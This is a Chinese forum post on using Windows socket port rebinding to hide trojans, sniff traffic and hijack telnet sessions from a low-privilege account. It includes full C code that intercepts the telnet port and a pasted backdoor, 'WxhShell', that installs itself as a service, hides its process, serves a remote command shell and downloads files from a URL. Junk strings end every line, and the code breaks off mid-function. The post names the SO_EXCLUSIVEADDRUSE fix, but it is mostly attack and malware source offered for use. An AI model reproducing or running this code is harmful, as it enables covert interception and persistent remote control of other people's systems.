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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1|ddG010  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .V0fbHYTJ  
/-^J0f+l3  
  saddr.sin_family = AF_INET; s"w^E\ >6  
{}iS5[H]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u8|CeA  
q+<,FdG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,WnZ^R/n  
'/9MN;_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wxj}k7_(`A  
QfPw50N;  
  这意味着什么?意味着可以进行如下的攻击: g+QIhur  
`_ M+=*}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4oryTckS  
V6((5o#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I!u=.[5zdC  
b2[U3)|oO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OkISR j'!U  
IuAu_`,Ndi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \pTC[Ry1  
PU1YR;[Fe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ya^8mp-  
8f)pf$v`   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fi~@J`  
)t7MD(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GVn'p Wg  
\Zx&J.D  
  #include L2}<2  
  #include 7 H:y=?X6  
  #include F]>+pU  
  #include    4@<wN \'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xE!0p EHd  
  int main() 8@S]P0lk  
  { 4tUt"N  
  WORD wVersionRequested; U#iW1jPE2  
  DWORD ret; ed_+bCNy  
  WSADATA wsaData; l7VTuVGUJ  
  BOOL val; q{b-2k  
  SOCKADDR_IN saddr; bT T>  
  SOCKADDR_IN scaddr; 6biR5&Y5U&  
  int err; 2$!,$J-<Y  
  SOCKET s; $9X?LGUz  
  SOCKET sc; v JVh%l+  
  int caddsize; .v'`TD).6  
  HANDLE mt; NYG!\u\Rm  
  DWORD tid;   :5T=y @  
  wVersionRequested = MAKEWORD( 2, 2 ); ^*B@=  
  err = WSAStartup( wVersionRequested, &wsaData ); X !0 7QKs  
  if ( err != 0 ) { <}8G1<QZ'.  
  printf("error!WSAStartup failed!\n"); \{~CO{II  
  return -1; dvZlkMm   
  } k2,`W2] ^E  
  saddr.sin_family = AF_INET; {TJBB/B1  
   `D=`xSEYl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sN?Rx}  
?YV#  K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .Z"`:4O   
  saddr.sin_port = htons(23); /4;A.r`;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I2SH j6 -  
  { e00 }YWf%  
  printf("error!socket failed!\n"); hDZyFRg  
  return -1; v.>K )%`#  
  } lVd-{m)  
  val = TRUE; ; 2V$`k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !hS)W7!ik  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OU#p^ 5K  
  { WDV=]D/OE  
  printf("error!setsockopt failed!\n"); 6d/v%-3  
  return -1; gV h&c 4  
  } xWK/uE(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^>Z7."uGY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B3?rR-2mEE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {^uiu^RAc  
jAy2C&aP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AcXVfk z  
  { *vIP\NL?H  
  ret=GetLastError(); 2*#i/SE_  
  printf("error!bind failed!\n"); PN<Vqt W  
  return -1; W ;+()vC  
  } Y}t)!}p$r  
  listen(s,2); :Mh\;e  
  while(1) /cUu]#h  
  { _FcTY5."S  
  caddsize = sizeof(scaddr); UHU ,zgM  
  //接受连接请求 aot2F60J,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xaoR\H  
  if(sc!=INVALID_SOCKET) (&r` l&0  
  { c|aX4=Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W(4$.uZ)  
  if(mt==NULL) g.%} +5  
  { CQa8I2VF (  
  printf("Thread Creat Failed!\n"); cjO %X  
  break; L Yd:S  
  } oqh J2  
  } xJU]py~o  
  CloseHandle(mt); Q^3{L\6_  
  } y0&vsoT  
  closesocket(s); -vY5h%7kf  
  WSACleanup(); 4E2/?3D  
  return 0; |mbD q\U  
  }   /N<aN9Z<x,  
  DWORD WINAPI ClientThread(LPVOID lpParam) enQW;N1_M  
  { dPf7o   
  SOCKET ss = (SOCKET)lpParam; 7[mfI?*m  
  SOCKET sc; +TaxH;  
  unsigned char buf[4096]; w{2CV\^>5  
  SOCKADDR_IN saddr; %0/qb0N&  
  long num; ^?sP[;8S!  
  DWORD val; Q 3^h  
  DWORD ret; S^p^) fAmF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fc<y(uX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5$Kj#9g-#  
  saddr.sin_family = AF_INET; M<NY`7$^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6<QC|>p  
  saddr.sin_port = htons(23); t6mv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p[].4_B;  
  { }mIN)o  
  printf("error!socket failed!\n"); &IzNoB  
  return -1; w3sU&  |N  
  } aBG^Xhx  
  val = 100; *x]*%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~x<?Pj  
  { xL i3|^q  
  ret = GetLastError(); p8)R#QWz9  
  return -1; $\/^O94-l  
  } JN`$Fq+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HQ7g0:-^a>  
  { |mHf 7gCX  
  ret = GetLastError(); oD\t4]?E  
  return -1; 2Vf242z_  
  } yTK3eK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cqJXZ.X C  
  { Aaq%'07ihW  
  printf("error!socket connect failed!\n"); I=<Qpd4  
  closesocket(sc); i '*!c  
  closesocket(ss); n^hkH1vY  
  return -1; >1Hv c7DP  
  } 1i~q~ O,  
  while(1) Z}>F V~4  
  { _(8#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Yk?q\1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B&B:P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DQP!e6Of  
  num = recv(ss,buf,4096,0); W SxoGly  
  if(num>0) srAWet  
  send(sc,buf,num,0); ~TS!5Wiv  
  else if(num==0) 8]b;l; W5  
  break; kV T |(Y  
  num = recv(sc,buf,4096,0); Sa[lYMuB  
  if(num>0) y?O-h1"3,  
  send(ss,buf,num,0); DbFe;3  
  else if(num==0) 6jgP/~hP>N  
  break; "9QZX[J|*  
  } \~+b&  
  closesocket(ss); 8OV =;aM?{  
  closesocket(sc); G6W|l2P!  
  return 0 ; PLz+%L;{  
  } 'Q :%s  
uYg Q?*Z  
4 ?PB Fbd  
========================================================== Kb{&a  
U5~aG!E  
下边附上一个代码,,WXhSHELL 6S3D#SY  
AzZhIhWl">  
========================================================== kBrA ?   
z\ONw Ml  
#include "stdafx.h" T$R#d&t  
`L7^f!  
#include <stdio.h> *n&Sd~Mg  
#include <string.h> PI`Y%!P  
#include <windows.h> 9@q!~ur  
#include <winsock2.h> >4kQ9lXL  
#include <winsvc.h> Qb>("j~Z  
#include <urlmon.h> c_+fA  
6fI2y4yEz  
#pragma comment (lib, "Ws2_32.lib") L?j<KW  
#pragma comment (lib, "urlmon.lib") <\Y(+?+uZ  
41Q)w=hoN  
#define MAX_USER   100 // 最大客户端连接数 hHVAN3e  
#define BUF_SOCK   200 // sock buffer S,Q^M )$  
#define KEY_BUFF   255 // 输入 buffer S hy.:XI  
.$W}  
#define REBOOT     0   // 重启 x"R F[ d  
#define SHUTDOWN   1   // 关机 6|f8DX%3V  
C R?}*  
#define DEF_PORT   5000 // 监听端口 YLA(hg|  
wXqwb|2  
#define REG_LEN     16   // 注册表键长度 ftPhE)i  
#define SVC_LEN     80   // NT服务名长度 ^lZ7%6  
pKj:)6t"  
// 从dll定义API ip}%Y6Wj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h?OSmzRLd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); biS[GyQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /<$|tp\Rc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _RxnB?  
fS|e{!iI"  
// wxhshell配置信息 dJnKa]X  
struct WSCFG { ^%Cd@!dk  
  int ws_port;         // 监听端口 P, l (4  
  char ws_passstr[REG_LEN]; // 口令 =EA @  
  int ws_autoins;       // 安装标记, 1=yes 0=no {Ke IYjE  
  char ws_regname[REG_LEN]; // 注册表键名 +$(y2F7|u-  
  char ws_svcname[REG_LEN]; // 服务名 wA/!A$v(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uuD2O )v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \I4Uj.'> \  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ts@$*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n7Eh!<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0]'  2i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8$47Y2r@  
4]0:zS*O  
}; >d]-X]  
-#/DK   
// default Wxhshell configuration ]:?S}DRG  
struct WSCFG wscfg={DEF_PORT, $E^sA|KcT  
    "xuhuanlingzhe", rDoMz3[w  
    1, 1EQ:@1  
    "Wxhshell", Lk#)VGk:  
    "Wxhshell", u #}1 M  
            "WxhShell Service", e@Ev']  
    "Wrsky Windows CmdShell Service", v*JKLA  
    "Please Input Your Password: ", r1RM7y  
  1, 2h*aWBLk  
  "http://www.wrsky.com/wxhshell.exe", )T gfd5B  
  "Wxhshell.exe" 7p':a)  
    }; . a @7  
mSu$1m8  
// 消息定义模块 *& );-r`.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Sw-2vnSdM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z> Rshtg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <6+B;brh  
char *msg_ws_ext="\n\rExit."; *9=}f;~  
char *msg_ws_end="\n\rQuit."; CW8YNJ'  
char *msg_ws_boot="\n\rReboot..."; AU%Yr 6  
char *msg_ws_poff="\n\rShutdown..."; p= x &X~  
char *msg_ws_down="\n\rSave to "; !J<0.nO/:  
:]Om4Q\-#  
char *msg_ws_err="\n\rErr!"; = B;qy7?  
char *msg_ws_ok="\n\rOK!"; P~:^bU^F7  
T8&sPt,f  
char ExeFile[MAX_PATH]; u R5h0Fi  
int nUser = 0; `}sFT:1&  
HANDLE handles[MAX_USER]; rZ-< Ryg  
int OsIsNt; 1)ij*L8k  
Hi~)C\  
SERVICE_STATUS       serviceStatus; G^K;+&T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4K`b?{){+a  
3y2L! &'z  
// 函数声明 [`tNa Vg  
int Install(void); CA&VnO{r  
int Uninstall(void); `<<9A\Y-f  
int DownloadFile(char *sURL, SOCKET wsh); >>C S8  
int Boot(int flag); zlQBBm;fE  
void HideProc(void); "o u{bKe  
int GetOsVer(void); i-4L{T\K  
int Wxhshell(SOCKET wsl); 2MYez>D  
void TalkWithClient(void *cs); lAC "7 Z?F  
int CmdShell(SOCKET sock); j^U"GprA  
int StartFromService(void); T7/DH  
int StartWxhshell(LPSTR lpCmdLine); $;=?[Cn  
?^7X2 u$nm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $w-@Oa*h9U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7MJ\*+T|03  
j)iUg03>/4  
// 数据结构和表定义 \ /Q~C!  
SERVICE_TABLE_ENTRY DispatchTable[] = X#ha*u~U  
{ *x p_#  
{wscfg.ws_svcname, NTServiceMain}, D[6sy`5l  
{NULL, NULL} y>u |3:z  
}; 7!Im|7Ty  
ttlMZLX{TJ  
// 自我安装 Y@MxKKuj  
int Install(void) UM21Cfqex  
{ kqo4 v;r  
  char svExeFile[MAX_PATH]; z/QYy)_j  
  HKEY key; i7YUyU  
  strcpy(svExeFile,ExeFile); OR|Jc+LT  
b~)2`l  
// 如果是win9x系统,修改注册表设为自启动 E|_8#xvb  
if(!OsIsNt) { c`lL&*]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /FPO'} 6i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wk/Q~ o  
  RegCloseKey(key); -Ks)1w>l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7o!t/WEEq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {]m/15/$C  
  RegCloseKey(key); 5t_Dt<lIz  
  return 0; 6iEg]FI  
    } @/$i -?E  
  } !>Q\Y`a,*  
} r_tt~|s,>  
else { ==%5Ci7qMy  
e8(Qx3T?b  
// 如果是NT以上系统,安装为系统服务 j*f\Z!EeZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uXUuA/O5-  
if (schSCManager!=0) 7'{Vh{.  
{ w r,+9uK  
  SC_HANDLE schService = CreateService y )<+?@sP  
  ( SXJjagAoML  
  schSCManager, 7,alZ"%W  
  wscfg.ws_svcname, 4,Uqcw?!F'  
  wscfg.ws_svcdisp, {36N=A  
  SERVICE_ALL_ACCESS, {:n1|_r4Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , seP h%Sa_  
  SERVICE_AUTO_START, 6^BT32,'  
  SERVICE_ERROR_NORMAL, -G_3B(]`  
  svExeFile, {KEmGHC4R  
  NULL, H%Lln#  
  NULL, m,]9\0GUd  
  NULL, 9 p^gF2?k  
  NULL, ZIh)D[n  
  NULL cdSgb3B0  
  ); >+!Ef  
  if (schService!=0) EaL>~: j  
  { /Q:mUd  
  CloseServiceHandle(schService); mWn0"1C  
  CloseServiceHandle(schSCManager); plJUQk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r/P}j4)b7  
  strcat(svExeFile,wscfg.ws_svcname); "}-S%v`)z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { * y wr_9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7;Q4k"h  
  RegCloseKey(key); g\IwV+iDf  
  return 0; rp[3?-fk  
    } QX=x^(M$m  
  } yO7#n0q  
  CloseServiceHandle(schSCManager); :c8d([)$  
} a=9QwEZ  
} ,]n~j-X  
0&2`)W?9  
return 1; p_EM/jI,  
} Wfc~"GQq4  
uNw9g<g:V[  
// 自我卸载 HRu;*3+%>F  
int Uninstall(void) 0O]v|  
{ ;, \!&o6  
  HKEY key; `(I$_RSE")  
*uy<Om  
if(!OsIsNt) { O;}K7rSc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [U"/A1p  
  RegDeleteValue(key,wscfg.ws_regname); Jm< uE]9  
  RegCloseKey(key); P6'Se'f8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1_Av_X  
  RegDeleteValue(key,wscfg.ws_regname); zf^|H% ~^  
  RegCloseKey(key); "{t]~urLd  
  return 0; )t\aB_ =  
  } @A*>lUo  
} A%^7D.j  
} ?0+g.,9  
else { nf1 `)tXG  
]bpgsW:Xu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  vP? T  
if (schSCManager!=0) h@(+(fVHrp  
{ x.] tGS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cz9MXb]B  
  if (schService!=0) n5IQKYr g  
  { /m 7~-~$V  
  if(DeleteService(schService)!=0) { uxh>r2Xr=  
  CloseServiceHandle(schService); |')PQ  
  CloseServiceHandle(schSCManager); gxAy{ t  
  return 0; "VU/Ucb7  
  } !H9^j6|  
  CloseServiceHandle(schService); WLfDXx 2A  
  } ae]6F_Qtc*  
  CloseServiceHandle(schSCManager); Z|ZB6gP>h1  
} e+{lf*"3  
} =]/<Kd}A.  
LNHi }P~  
return 1; K' <[kh:cl  
} v=cQ`nou  
3T4HX|rC  
// 从指定url下载文件 WY!4^<|w"  
int DownloadFile(char *sURL, SOCKET wsh) f#w u~*c  
{ 1KBGML-K3  
  HRESULT hr; S9r+Nsn  
char seps[]= "/"; v_WQ<G?  
char *token; )4c?BCgy  
char *file; R:R<Xt N`5  
char myURL[MAX_PATH]; CgYX^h?Y9  
char myFILE[MAX_PATH]; WW &Wh<4  
mdEl CC0  
strcpy(myURL,sURL); & 0WQF  
  token=strtok(myURL,seps); ;DR5?N/a  
  while(token!=NULL) 1<_/Qu>V  
  { 0(:SEiz6s  
    file=token; FOMJRq  
  token=strtok(NULL,seps); vZ.<OD4  
  } x-%RRm<V  
ftl?x'P%  
GetCurrentDirectory(MAX_PATH,myFILE); M6Np!0G  
strcat(myFILE, "\\"); e"NP]_vh,  
strcat(myFILE, file); -)}Z $;1a  
  send(wsh,myFILE,strlen(myFILE),0); `.3@Ki~$#  
send(wsh,"...",3,0); /7:+.#Ag`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rKyulgP  
  if(hr==S_OK) )7o? }"I  
return 0; <'SS IMr  
else h& }iH  
return 1; i.`n^R;N  
150-'Q  
} N fG9a~  
$uyx  
// 系统电源模块 '=#fELMW  
int Boot(int flag) U"+W)rUd  
{ P R3Arfle  
  HANDLE hToken; 1# z@D(  
  TOKEN_PRIVILEGES tkp; @|Yn~PwKs  
ka8Y+Gs  
  if(OsIsNt) { f86Z #%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >][D"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cBZEyy&  
    tkp.PrivilegeCount = 1; >$E;."a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OHsA]7S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #RaqNu  
if(flag==REBOOT) { |('o g*$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X:;x5'|  
  return 0; _N^w5EBC]  
} -C3[:g  
else { 6l;2kztGp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DF4CB#  
  return 0; [3nWxFz$R  
} dr:x0>  
  } Xo/H+[;X  
  else { mTxqcQc:7  
if(flag==REBOOT) { N!3Tg564j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z8JW iRn  
  return 0; F@f4-NR>  
}  -D'XxOI  
else { {tY1$}R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]7S f)  
  return 0; bp=r]nO  
} 4R\jZ@D  
} jHn7H)F8  
%]DA4W  
return 1; 83t/ \x,Q  
} cGgfCF^`  
c$7~EP  
// win9x进程隐藏模块 gK({InOP  
void HideProc(void) KU9FHN  
{ }YFM4 0H  
Mh5> hD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p^<(.+P4  
  if ( hKernel != NULL ) H)7v$A,5%  
  {  ID,_0b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XC^*z[#4{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;(Ug]U%3_  
    FreeLibrary(hKernel); L8Tm8)  
  } lMvOYv  
:,Y1#_\  
return; ~i>DF`w$  
} _O uNX.yrG  
-8Mb~Hfl0  
// 获取操作系统版本 Ue >]uZ|  
int GetOsVer(void) rpm\!O  
{ "IT7.!=@9  
  OSVERSIONINFO winfo; %gAT\R_f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e7xBi!I)~  
  GetVersionEx(&winfo); oYZ  4F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7KhS{w6  
  return 1; rMbq_5}  
  else 0r1GGEW`s  
  return 0; 9 $$uk'}w!  
} \+O.vRc"M  
Dn 0L%?_   
// 客户端句柄模块 F!ztU8,  
int Wxhshell(SOCKET wsl) u*)/e9C  
{ QDQ"Sc06  
  SOCKET wsh; *kFd#b+xB  
  struct sockaddr_in client; aPEI_P+Ls  
  DWORD myID; )c' 45 bD  
eQu(3sYb  
  while(nUser<MAX_USER) j0; ~2W#G*  
{ :1j8!R5  
  int nSize=sizeof(client); X%IqZ{ {  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -GPJ,S V>  
  if(wsh==INVALID_SOCKET) return 1; Nyy&'\`!  
jo<xrn\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i`r`Fj}-S-  
if(handles[nUser]==0) ;98b SR/  
  closesocket(wsh); o&E8<e  
else TsK!36cg  
  nUser++; [-_{3qq<e  
  } =IsmPQKi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %0C [v7\  
?`Yu~a{  
  return 0; i3N{Dt  
} 3u/JcU-<  
WT<}3(S'?  
// 关闭 socket v-3VzAd=*&  
void CloseIt(SOCKET wsh) K_)~&Cu*'  
{ qs ep9z.  
closesocket(wsh); VRQ`-#  
nUser--; c.IUqin  
ExitThread(0); VGeTX 4h  
} KQNQ<OE 4  
*O~y6|U?  
// 客户端请求句柄 ` 5Kg[nB:  
void TalkWithClient(void *cs) s;OGb{H7  
{ L?d?O  
W<X3!zuKSg  
  SOCKET wsh=(SOCKET)cs; $kTm"I  
  char pwd[SVC_LEN]; x:MwM?  
  char cmd[KEY_BUFF]; s"=TM$Vb  
char chr[1]; 8c)GUx  
int i,j; Q /4-7  
@c]KHWI  
  while (nUser < MAX_USER) { {S{%KkAV  
rzAf  {2  
if(wscfg.ws_passstr) { 9Q4{ cB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {fACfSW6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F(ydqgH~a  
  //ZeroMemory(pwd,KEY_BUFF); Hq W /  
      i=0; .t1:;H b  
  while(i<SVC_LEN) { w{*kbGB8s7  
z1Ieva]  
  // 设置超时 zK5&,/  
  fd_set FdRead; ,6;n[p"h|r  
  struct timeval TimeOut; *pwkv7Z h  
  FD_ZERO(&FdRead); gvuv>A}vJ  
  FD_SET(wsh,&FdRead); %(W&(eN  
  TimeOut.tv_sec=8; 8)1q,[:M  
  TimeOut.tv_usec=0; {k3ItGQ_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =m2_:&@0x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W:RjWn@<  
6 H P 66B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6v3l^~kc'  
  pwd=chr[0]; @@o J@;  
  if(chr[0]==0xd || chr[0]==0xa) { GB|>eZLv<  
  pwd=0; tVAo o-%  
  break; &<e18L 7a  
  } O] PM L`  
  i++; _,L_H[FN  
    } &6vaLx  
[WR"#y  
  // 如果是非法用户,关闭 socket !YAX.e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]M*`Y[5"  
} I:TbZ*vi~  
"Wg,]$IvU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w UxFE=ia  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q* R}yt5  
x8@ 4lxj  
while(1) { `#ruZM066  
D;> 7y}\  
  ZeroMemory(cmd,KEY_BUFF); 'z8FU~oU  
t,f ec>.  
      // 自动支持客户端 telnet标准   T5u71C_wmt  
  j=0; 1- s(v)cxh  
  while(j<KEY_BUFF) { ^5E9p@d"J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N4+Cg t(  
  cmd[j]=chr[0]; IrL%0&*hS  
  if(chr[0]==0xa || chr[0]==0xd) { 2V)+ ba|+  
  cmd[j]=0; VEh9N  
  break; lwf4ke  
  } ^_ch%3}Im  
  j++; @bA5uY!  
    } $@'BB=i  
X3}eq|r9  
  // 下载文件 cOV9g)7^O  
  if(strstr(cmd,"http://")) { M)oKtiav*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'd$RNqe  
  if(DownloadFile(cmd,wsh)) ts,r,{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); */M`KPW  
  else B%6cgm,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kz42AC  
  } jV}8VK*`+  
  else { Np+PUu>  
5bt>MoKxv  
    switch(cmd[0]) { i6KfH\{N  
  > mO*.'Gm  
  // 帮助 pRun5 )7  
  case '?': { %!nI]|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  !vf:mMo  
    break; 8+[Vo_]  
  } %N-aLw\  
  // 安装 :*KTpTa  
  case 'i': { )K{s^]Jp  
    if(Install()) )9`HO?   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hnt*,C.0  
    else jXeE]A"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /8e}c`  
    break; cRf F!EV  
    } X~jdOaq{F:  
  // 卸载  c`xNTr01  
  case 'r': { G"?7 Z&+  
    if(Uninstall()) *eoH"UFYQ#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d/9YtG%q  
    else m&gd<rt/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3l<qcKKc  
    break; ?\8aT"o  
    } kaCN^yQ  
  // 显示 wxhshell 所在路径 Ge`7`D>L  
  case 'p': { OCrTzz8  
    char svExeFile[MAX_PATH]; _+B y=B.'  
    strcpy(svExeFile,"\n\r"); 3cghg._  
      strcat(svExeFile,ExeFile); fc3nQp7  
        send(wsh,svExeFile,strlen(svExeFile),0); 1k6asz^T  
    break; OY{fxBb  
    } ;"nO'wN:h  
  // 重启 >"2jCR$/  
  case 'b': { i-wRwl4aEF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !-}Q{<2@W  
    if(Boot(REBOOT)) I9Ohz!RQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IVh5SS  
    else { /GGyM]k3  
    closesocket(wsh); UH>~Y N  
    ExitThread(0); 7_ix&oVI  
